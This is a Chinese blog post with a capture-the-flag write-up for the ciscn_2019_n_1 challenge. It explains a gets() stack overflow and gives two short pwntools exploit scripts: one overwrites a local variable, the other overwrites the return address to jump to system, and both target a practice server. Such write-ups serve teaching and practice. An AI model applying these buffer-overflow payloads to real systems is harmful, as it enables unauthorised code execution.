首页 > 其他分享 > ciscn_2019_n_1

ciscn_2019_n_1

时间:2023-05-26 18:55:53浏览次数:39  
标签:ciscn 填充 地址 v1 v2 2019 io payload

ciscn_2019_n_1

题目分析

这题的主要溢出点在于gets(v1),但是这题有两种思路,第一种方法是通过gets函数溢出修改变量v2的值,使v2能够通过if判断语句,执行system函数,第二种方法还是通过gets(v1)溢出,不过这次是通过libc来实现,将ebp覆盖为system函数的地址

第一种方法

通过学习栈的工作原理,可以发现v1数组的填充区域处于栈的最低位置,因此可以先通过填充44字节的M来到达v2的位置,然后以十六进制的方式覆盖v2的值,使v2能够通过if语句,依照此方法,构造payload

from pwn import*
io=remote("node4.buuoj.cn",29011)
payload=b'M'*(0x30-4)+p64(0x41348000)
io.sendline(payload)
io.interactive()

第二种方法

libc方法,这个跟之前打法类似,主要是劫持ret的返回地址,因此先填充48个字节的M,这个是将v1和v2的值填充,然后再加上8个字节的M将之前储存的rbp的值覆盖,然后用system函数的执行地址来覆盖ret返回地址,从而达到劫持返回地址的目的,这样payload为

from pwn import *
io=remote("node4.buuoj.cn",29011)
payload=b'M'*(0x30+8)+p64(0x4006BE)
io.sendline(payload)
io.interactive()

 

标签:ciscn,填充,地址,v1,v2,2019,io,payload
From: https://www.cnblogs.com/alexlance/p/17435575.html

相关文章

  • 编译静态库遇到的 LNK2019 报错
    前文提到了CMake学习文末基本涵盖了我遇到的编译问题,但是在得到一个编译好的.lib文件后,还需要放到项目中引用成功后才算真正的完成静态库的编译嗯,我之所以说这些是因为我在项目中链接静态库时出现了LNK2019经典错误错误如下:Libraryd.lib(at_exit.obj):errorLNK2019:......
  • vs2019打包程序时添加自定义的系统必备组件
     若要创建引导程序包,必须创建产品清单产品清单 product.xml包清单 package.xml 将文件复制到引导程序文件夹位置C:\ProgramFiles(x86)\MicrosoftVisualStudio14.0\SDK\Bootstrapper\Packages文件夹下    ......
  • BUUCTF-[GXYCTF2019]禁止套娃​​
    [GXYCTF2019]禁止套娃.git源码泄露、工具GitHack无参数RCEphp函数的利用题目中什么信息都没有这是一道.git源码泄露的题目,使用工具GitHack下载源码pythonGitHack.pyhttp://fa565425-847d-4196-ba33-85056f1d7ce1.node4.buuoj.cn:81/.git查看到index.php的源码,关键代码如下......
  • buuctf ciscn_2019_n_5 pwn ret2shellcode
    首先checksec查看保护策略,没有开栈不可执行NX,考虑构造shellcodeArch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXdisabledPIE:NoPIE(0x400000)RWX:HasRWXsegments查看反编译代码,可以看......
  • 【杂文随笔】2019年总结 送自己一个字
    ......
  • []复习]cityengine2019/2022导入shp数据生成福田区建筑群
    时间是一把杀猪刀和人工智能比起来我太弱了.很无助.无法给自己升级系统.cityengine2019目前载入那种地区线上数据是行不通了,2022可以整一个邮箱试用一个月.https://www.esri.com/zh-cn/arcgis/products/arcgis-cityengine/trial/professionals我整了一个万能无线邮箱,无法注册,......
  • Windows Server2019网卡桥接与网卡聚合在实际工作中经验总结
    WindowsServer2019网卡桥接与网卡聚合在实际工作中经验总结1、WindowsServer2019网卡桥接与网卡聚合的区别   桥接:只是在服务器端的多个网卡进行桥接,交换机端不能做聚合,在实际工作中,桥接网卡会产MAC地址漂移,如果用MAC地址控制会产生断网故障。(注意:这是服务这边桥接,交换......
  • CSP-J2019试题题解
    1.数字游戏原题:https://www.luogu.com.cn/problem/P5660代码:#include<bits/stdc++.h>#include<iostream>#include<cstdio>#include<cstring>#include<algorithm>usingnamespacestd;strings;intmain(){ cin>>s;intnum=0; fo......
  • Luogu P5664 [CSP-S2019] Emiya 家今天的饭
    发现“每种主要食材至多在\(\lfloor\frac{k}{2}\rfloor\)个菜中被使用”有一个性质,在不合法的情况下绝对只有\(1\)个主要食材的个数\(>\lfloor\frac{k}{2}\rfloor\),因为\(k-\lfloor\frac{k}{2}\rfloor-1\le\lfloor\frac{k}{2}\rfloor\)然后就能发现算不合法......
  • VS2019新建WebService/Web服务/asmx并通过IIS实现发布和调用
    场景对接第三方系统提供接口文档中显示为asmx接口 访问接口返回数据格式为 xml中的数据格式为json数据。需要在本地新建并模拟调试环境。注:博客:https://blog.csdn.net/badao_liumang_qizhi实现1、WebServiceWebService是一种远程调用技术,也叫XMLWebServiceWe......